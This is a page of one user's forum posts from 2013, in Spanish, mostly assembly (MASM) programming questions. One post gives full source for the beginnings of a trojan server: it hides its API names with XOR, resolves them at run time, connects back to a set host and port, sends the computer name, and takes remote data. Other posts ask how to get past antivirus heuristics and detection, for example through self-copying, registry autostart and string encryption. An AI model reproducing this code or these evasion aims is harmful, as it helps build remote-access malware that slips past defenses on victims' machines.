|
81
|
Programación / ASM / Solucionar WSAEWOULDBLOCK
|
en: 16 Mayo 2013, 00:33 am
|
Hola amigos! Tengo el siguiente problema que me esta torturando... ya llevo horasss... Bueno, el codigo primero: Conn: invoke connect, sock, addr sa, sizeof sa .IF eax==SOCKET_ERROR invoke WSAGetLastError
.IF eax==WSAEWOULDBLOCK jmp Conn .ELSEIF eax==WSAEALREADY jmp Conn .ELSE
;Por lo general, conexion establecida u otro ErrorCode
.ENDIF
.ENDIF
Ok,, estoy usando el ejemplo de Iczelion, con Socket y procedimiento de ventana... El problema esta en que la conexion queda trancada en error: WSAEWOULDBLOCK, y por lo que entendi de este error es algo asi como: "Dame un minuto que estoy intentando conectar" jajaja Bueno, no es asi literalmente, pero seria algo asi, "socket ocupado". Como el ejemplo funciona con procedimientos de ventana, el programa se cuelga al quedar en un bucle de conexion infinito, (intentando conectar y haciendo loop en volver a conectar...) entonces la ventana no aparece siquiera.. Se me ocurre poner un timer, pero no tengo ni idea por donde empezar... Alguna sugerencia o algun metodo timer pleaseee!! Thnks all !!
|
|
|
82
|
Programación / ASM / Principio de Troyano ASM
|
en: 15 Mayo 2013, 02:44 am
|
Buenas amigos del foro!! Hoy ando regalon... Como el foro casi siempre me supo responder mis preguntas, hoy voy a colaborar yo... voy a aclarar que soy nuevo en asm, y quizas el codigo no es el mejor, pero lo voy a compartir, asi que no sean crueles jajaja Bueno, en un principio no queria exponerlo, pero como me decidi a hacer diferente mi aplicacion de "administracion remota" lo voy a poner aca... Lo probe con virustotal y asi como esta tiene 4 detecciones: VBA32 Malware-Cryptor.Win32.Allblock Norman Crypt.AWHI F-Prot W32/Threat-HLLSI-based!Maximus Commtouch W32/Threat-HLLSI-based!Maximus Aclaro que, a lo mejor ven alguna rutina que han visto en Internet, eso se debe a que he investigado muchísimo, (no se olviden que soy nuevo, y bueno.. así se aprende... ) y no he encontrado otra forma mejor de implementarlas, por eso son iguales,, las iba a cambiar, pero como voy a empezar otro troyano, este lo dejo como esta.. Sin mas que decir: .386 .model flat, stdcall option casemap:none
include Servidor.inc
bufSize = MAX_COMPUTERNAME_LENGTH + 1 ;Tamaño maximo del nombre del pc
.data
Ip db "127.0.0.1",0 ;Direccion remota Port dd 8888 ;Puerto remoto Ver dd 2.2 ;Version de WinSck wsa WSADATA <> ;Estructura WSAData sa sockaddr_in <> ;Estructura de sockaddr_in
Titulo db "Titulo de pruebas", 0 Saludo db "CONNECT|%s0", 0 ;Saludo de conexion
;************************************************************
; Librerias Ws2 db "Pt5X45)ckk", 0 ;Ws2 U32 db "Rtbu45)ckk", 0 ;User32 Kn32 db "Lbuibk45)ckk", 0 ;Kernel ; Socket FunW db "PTFTsfusrw", 0 ;WSAStart FunZ db "PTFDkbfirw", 0 ;WSAClean FunS db "thdlbs", 0 ;socket FunI db "nibsXfccu", 0 ;inet_addr FunH db "oshit", 0 ;htons FunC db "dhiibds", 0 ;connect FunV db "ubdq", 0 ;recv FunO db "dkhtbthdlbs", 0 ;closesocket FunN db "tbic", 0 ;send ; Funciones del programa FunM db "Jbttf`bEhF", 0 ;MessageBoxA FunE db "BnsWuhdbtt", 0 ;ExitProcess ; Datos del Pc FunG db "@bsDhjwrsbuIfjbF", 0 ;GetComputerNameA FunP db "ptwunisaF", 0 ;wsprintfA ; Carga dinamica de Apis FunL db "KhfcKneufu~F", 0 ;LoadLibraryA FunT db "@bsWuhdFccubtt", 0 ;GetProcAddress
;************************************************************
;******** CP NAME *********** buffer db 100 dup(?) ;Buffer para guardar el nombre del pc bSize dd bufSize ;Tamaño para el nombre del pc getName db bufSize dup(?) ;Necesario para GetComputerNameA ;****************************
.data?
Sock dd ? ;Socket Buffer db 512 dup(?) ;Buffer para recv Hand dd ? ;Handle de funcion dinamica LoadL dd ? ;Handle de LoadLibraryA GetP dd ? ;Handle de GetProcAddress
.const
WM_SOCK equ WM_USER + 100 SOCK_STRAM equ 1 .code
Inicio: jmp Mentira Inicio2:
invoke Llamar, addr Ws2, addr FunW ;WSAStart push offset [wsa] push offset [Ver] call Hand
.IF eax!=NULL invoke Llamar, addr Kn32, addr FunE push 0 call Hand .ENDIF
invoke Llamar, addr Ws2, addr FunS ;socket push 0 push SOCK_STRAM push AF_INET call Hand
.IF eax==INVALID_SOCKET invoke Llamar, addr Kn32, addr FunE push 0 call Hand .ENDIF
mov Sock, eax mov sa.sin_family, AF_INET
invoke Llamar, addr Ws2, addr FunI ;inet_addr push offset [Ip] call Hand mov sa.sin_addr, eax
invoke Llamar, addr Ws2, addr FunH ;htons push Port call Hand
mov sa.sin_port, ax
Conn:
invoke Llamar, addr Ws2, addr FunC ;connect push sizeof sa push offset [sa] push Sock call Hand cmp eax, 0 jne Conn
;********************************************** ; GetComputerName ;********************************************** invoke Llamar, addr Kn32, addr FunG ;GetComputerNameA push offset [bSize] push offset [getName] call Hand
invoke Llamar, addr U32, addr FunP ;wsprintfA push offset [getName] push offset [Saludo] push offset [buffer] call Hand
invoke Llamar, addr Ws2, addr FunN ;send push 0 push sizeof buffer push offset [buffer] push Sock call Hand ;**********************************************
Recv:
invoke Llamar, addr Ws2, addr FunV ;recv push 0 push sizeof Buffer push offset [Buffer] push Sock call Hand cmp eax, -1 je Recon
invoke Llamar, addr U32, addr FunM ;MessageBoxA push MB_OK push offset [Titulo] push offset [Buffer] push 0 call Hand jmp Recv
Recon:
invoke Llamar, addr Ws2, addr FunO ;closesocket push Sock call Hand
invoke Llamar, addr Ws2, addr FunZ ;WSAClean call Hand jmp Inicio2
Clse:
invoke Llamar, addr Ws2, addr FunO ;closesocket push Sock call Hand
invoke Llamar, addr Ws2, addr FunZ ;WSAClean call Hand
invoke Llamar, addr Kn32, addr FunE ;ExitProcess push 0 call Hand
Dinamic proc Libreria:DWORD, Funcion:DWORD push Libreria call LoadLibrary push Funcion push eax call GetProcAddress ret
Dinamic endp
Llamar proc Lib:DWORD, Fun:DWORD
push [Lib] call LoadL push [Fun] push eax call GetP mov Hand, eax
ret Llamar endp
Decript proc Funcion:DWORD
xor ecx,ecx mov eax, [Funcion] bucle: cmp byte ptr ds: [eax + ecx], 0 je salir xor byte ptr ds:[eax + ecx], 7 inc ecx jmp bucle salir: ret
Decript endp Mentira:
invoke Decript, addr U32 ;User32 - invoke Decript, addr Kn32 ;Kernel32 - APIS invoke Decript, addr Ws2 ;WinSock -
invoke Decript, addr FunL ;LoadLibraryA - DINAMICAS invoke Decript, addr FunT ;GetProcaddress -
invoke Decript, addr FunW ;WsaStartup - invoke Decript, addr FunZ ;WsaClean - invoke Decript, addr FunS ;socket - invoke Decript, addr FunI ;inet_addr - invoke Decript, addr FunH ;htoons - SOCKET invoke Decript, addr FunC ;connect - invoke Decript, addr FunN ;send - invoke Decript, addr FunV ;recv - invoke Decript, addr FunO ;closesocket -
invoke Decript, addr FunM ;MessageboxA - invoke Decript, addr FunE ;ExitProcess - GENERALES invoke Decript, addr FunP ;wsprintfA - invoke Decript, addr FunG
;********************************************* ; Obtengo Direccion de Getproc y LoadLib ;********************************************* push offset [FunL] push offset [Kn32] call Dinamic mov LoadL, eax push offset [FunT] push offset [Kn32] call Dinamic mov GetP, eax ;********************************************* jmp Inicio2
end Inicio
Bueno, ahi esta... Si alguien quiere colaborar con ideas, opiniones y demais, yo muy agradecido.. Saludos!
|
|
|
83
|
Programación / ASM / Ayuda implementando modulos
|
en: 14 Mayo 2013, 22:06 pm
|
Hola amigos!!! Tengo una pequeña consulta hoy.. Estoy trabajando con Masm y RadASM.. En el explorador de proyecto dice que se pueden agregar modulos... Esos modulos en realidad son archivos .asm La duda es si es lo mismo insertar un modulo que insertar un asm?
Gracias!!
|
|
|
84
|
Seguridad Informática / Análisis y Diseño de Malware / A que se debe ?? :D
|
en: 10 Mayo 2013, 00:33 am
|
Buenas señores y señoras !! A que se debe esta deteccion ?
TR/Crypt.XPACK.Gen y Malware-Cryptor.Win32.Allblock
Que es lo que me detecta ? Puede ser una rutina de desencriptacion de cadenas quizas ??
Y ya que estamos.. si es eso lo que me detecta,, (la desencriptacion) alguien sabe de algun algoritmo para cifrar cadenas en asm ? uno mejor que sumarle un numero a los caracteres ascii, porque eso es lo que hago y esta muy simplote... Y con xor, la verdad que me da la misma mala espina.. no es nada muy elaborado..
Desde ya, Muchas gracias!!!
|
|
|
85
|
Programación / ASM / Ayuda con interrupciones..
|
en: 2 Mayo 2013, 23:45 pm
|
Hola amigos, espero anden bien.. Me quede trancado con algo bien simple.. :/ Por que puede ser que no funcionen las interrupciones del DOS ?? No puedo imprimir una cadena en la pantalla con 21h
Gracias y Saludos!
|
|
|
86
|
Seguridad Informática / Análisis y Diseño de Malware / Recomendaciones para evadir heuristica
|
en: 12 Abril 2013, 07:27 am
|
Buenas amigos Foreros!! Espero anden bien Les cuento.. Estoy desarrollando un pequeño troyano en asm, con funciones basicas,, lo justo y necesario.. Pero la cosa se esta complicando con los antivirus.. Yo tengo una tecnica para ir haciendo estas cosas.. voy creando partes del codigo y las voy probando en, por ejemplo, Novirusthanks... Bien, la cosa es que ya tengo algunas cosas "funcionando", por ejemplo, que la aplicacion se autocopie en el disco duro.. (deteccion por heuristica), tambien logre escribir en el registro de windows, para que se autoinicie.. (deteccion por virus), y asi la lista sigue un poco mas,, por ejemplo al usar la API getcomputername.. Al parecer,, todo lo basico que un malware debe hacer, es detectado por uno o por otro antivirus.. He leido algunos hilos, foros, wikipedia, etc.. de cosas asi como el polimorfismo, encriptacion.. etc, etc De estas tecnicas la unica que podria manejar (por ahora quizas) es la encriptacion.. Alguien tiene alguna idea de como se podria evadir un poco mejor ( sin llegar al extremo del polimorfismo ) a los AV ? Y de ser posible algun ejemplo practico, un pseudocode o idea teorica.. todo sirve.. Muchas gracias por leer toda esta maza que acabo de escribir!! jeje Saludos!
|
|
|
87
|
Programación / ASM / Problema al limpiar variable
|
en: 11 Abril 2013, 22:45 pm
|
Hola!! Como andan ? Bueno,, la consulta es facil hoy.. resulta que tengo un problema al limpiar una variable llamada buffer, la cual se modifica constantemente cuando llega un dato por una conexion con socket.. aca dejo el code y el problema detallado. .data? buffer db 512 dup(?) ;Bufer para guardar datos recibidos Eso en la sección .data?, luego en la sección .code: Recv: invoke recv, sock, addr buffer, sizeof buffer, 0 cmp sock, 0 je EMsg EMsg: invoke MessageBox, 0, addr buffer, addr Titulo, MB_OK jmp Recv El problema es que el "buffer" siempre queda cargado con la mayor cantidad de bytes que se le hayan pasado, por ejemplo: si cargo buffer con "Hola", y luego cargo buffer con "J" el buffer queda asi: "Jola" Ya probe con: mov buffer, 0 pero no da resultado... Tendria que recorrer el buffer byte por byte y si es <> de 0 borrarlo ?? Es esa la solucion ? Desde ya muchas gracias !!
|
|
|
88
|
Seguridad Informática / Análisis y Diseño de Malware / Cuantos TROYANOS conoces hechos en ASM ?
|
en: 3 Abril 2013, 02:55 am
|
Buenas, amigos.. Por ahi viene la cosa hoy.. Me surgio esta interrogante,, porque desde mi posicion de novato en ASM, me propuse hacer un servidor de lo que podria ser un troyano..
Y la duda es.. Es realmente mejor un troyano en asm ? Sacando el tema de la portabilidad. Los antivirus reconocen mas un malware hecho en asm ?
Saludos !!
|
|
|
89
|
Programación / ASM / Ayuda con funcion "Split"
|
en: 26 Marzo 2013, 23:09 pm
|
Buenas amigos del foro.. Espero que anden bien.. Bueno, creo que hoy la duda esta clarisima,, preciso dividir un string con un criterio dado,, asi, tal cual lo haria vb con split. Si a alguien se le ocurre algo, una idea por donde empezar, o mejor aun un pseudocodigo, o lo que sea jaja Desde ya, muchas gracias!
|
|
|
90
|
Programación / PHP / Problema con variable de sesion y variable de conexion
|
en: 16 Marzo 2013, 00:36 am
|
Buenas señores y señoras! Tengo una cosulta que me esta rompiendo la cabeza... Es posible asignar una variable de tipo "Resource id#" a una variable de sesion ? Porque no he podido hacerlo, por mas que intento, la variable "$_SESSION['Conex']" me queda vacia! Ahora veamos un ejemplo de lo que quiero.. include("Conexion.php"); $Conexion = Conectar(); --> Donde conectar es una funcion que conecta a mysql $_SESSION['Conex'] = $Conexion; La function conectar() funciona, lo se.. Yo preciso la variable "$Conexion" porque hago una consulta desde una funcion y no puedo acceder a la variable de otra forma si la variable no es global... Bueno.. desde ya, Gracias!!
|
|
|
|
|
|
|